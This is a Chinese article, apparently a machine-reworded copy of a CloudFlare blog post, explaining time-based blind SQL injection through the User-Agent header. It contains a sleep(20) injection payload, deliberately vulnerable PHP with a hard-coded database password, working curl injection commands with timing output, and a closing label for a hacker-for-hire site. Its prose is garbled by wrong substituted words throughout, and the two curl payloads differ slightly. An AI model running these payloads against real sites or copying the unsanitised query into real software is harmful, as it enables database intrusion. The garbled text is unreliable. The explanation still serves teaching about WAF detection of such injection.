User Agent注入进犯及防护
CloudFlare公司常常会收到客户问询为什么他们的一些恳求会被 CloudFlare WAF 屏蔽。最近,一位客户就提出他不能了解为什么一个拜访他主页简略的 GET 恳求会被 WAF 屏蔽。
下面是被屏蔽的恳求:
GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
正如他说的,一个简略的恳求拜访 WEB 主页,乍看之下如同没什么问题。除非你细心检查 User-Agent 部分:
Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+
User-Agent 前半部分看起来挺正常的(如同是微软 IE 11),可是却以字符串 '+(select*from(select(sleep(20)))a)+ 结束。进犯者企图对 User-Agent 值进行 SQL 注入。
一般的 SQL 注入通常是对 URL 及其参数进行的,但这儿进犯者却将 SQL 查询句子 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中 。这种技能通常被各种扫描器所运用,例如,sqlmap 的 -p 参数会测验对 HTTP 恳求头部字段进行注入。
延时注入
许多 SQL 注入都是在测验从网站中提取信息(例如用户名、暗码或其他隐私信息)。但这条句子却不太相同,它恳求数据库进程等候 20 秒。这种进犯归于 SQL 盲注,一般的 SQL 注入会将查询的成果返回到 WEB 页面中,而盲注的进犯者则看不到查询的输出,所以他们会另辟蹊径运用其他的办法来判别注入。两种常见的办法便是使 WEB 服务器发生过错或许发生延时。如上运用 sleep 会是 WEB 服务器等候 20 秒才进行呼应,进犯者能够依据呼应是否发生延时来判别是否存在注入缝隙。
示例
为了更好的阐明,我运用 PHP 创建了一个不安全的运用,其间会将 User-Agent 保存到 MySQL 数据库中。这类代码或许会存在于实在的运用中用来剖析信息,例如计算拜访次数。
在这个示例中,我疏忽了一切杰出安全的编码习气,由于我想论述下 SQL 的作业原理。
再次正告:千万不要仿制/张贴以下代码!由于这些代码并不标准。
下面是 PHP 代码:
$link = new mysqli('localhost', 'insecure', '1ns3cur3p4ssw0rd', 'analytics');
$query = sprintf("INSERT INTO visits (ua, dt) VALUES ('%s', '%s')",
$_SERVER["HTTP_USER_AGENT"],
date("Y-m-d h:i:s"));
$link->query($query);
?>
Thanks for visiting
这段代码会连接到本地的 analytics 数据库,并将访客 HTTP 头部的 User-Agent 字段不加过滤的刺进到数据库中。
这便是一个 SQL 注入的比如,可是由于咱们的代码不会发生任何过错,所以进犯者无法经过报错来得知是否存在注入缝隙,除非他们运用相似 sleep() 之类的办法。
为了验证是否存在注入缝隙,只需求履行如下指令(其间 insecure.php 便是上述示例代码):
curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php
这样就会将 HTTP 头部的 User-Agent 字段设置为 Mozilla/5.0', (select*from(select(sleep(20)))a)) #。而咱们不安全的 PHP 代码会不加过滤就直接将这些字符串刺进查询句子中,此刻的查询句子变成了如下姿态:
INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2019-05-17 03:16:06')
原本应该刺进两个值,但现在只会刺进一个值 Mozilla/5.0 并履行 (select*from(select(sleep(20)))a) 句子(这会使数据库休眠 20 秒)。而 # 是注释符,意味着后续的句子被注释并疏忽了(便是疏忽了刺进日期)。
此刻的数据库中会呈现这样一个条目:
+---------------------+---------------+
| dt | ua |
+---------------------+---------------+
| 0 | Mozilla/5.0 |
+---------------------+---------------+
请注意,其间日期值为 0,这正是 (select*from(select(sleep(20)))a) 句子履行的成果,别的 ua 的值为 Mozilla/5.0,而这或许便是进犯者成功履行 SQL 注入后留下的仅有痕迹了。
下面是接纳到上述恳求后服务器的运转成果,咱们运用 time 指令来看看这个进程究竟需求多长时间:
$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php
* Connected to example.com port 80 (#0)
> GET /insecure.php HTTP/1.1
> Host: example.com
> User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) #
> Accept: */*
>
Date: Mon, 16 May 2019 10:45:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
html>head>head>body>b>Thanks for visitingb>body>html>
* Connection #0 to host example.com left intact
real 0m20.614s
user 0m0.007s
sys 0m0.012s
[1] [2] 黑客接单网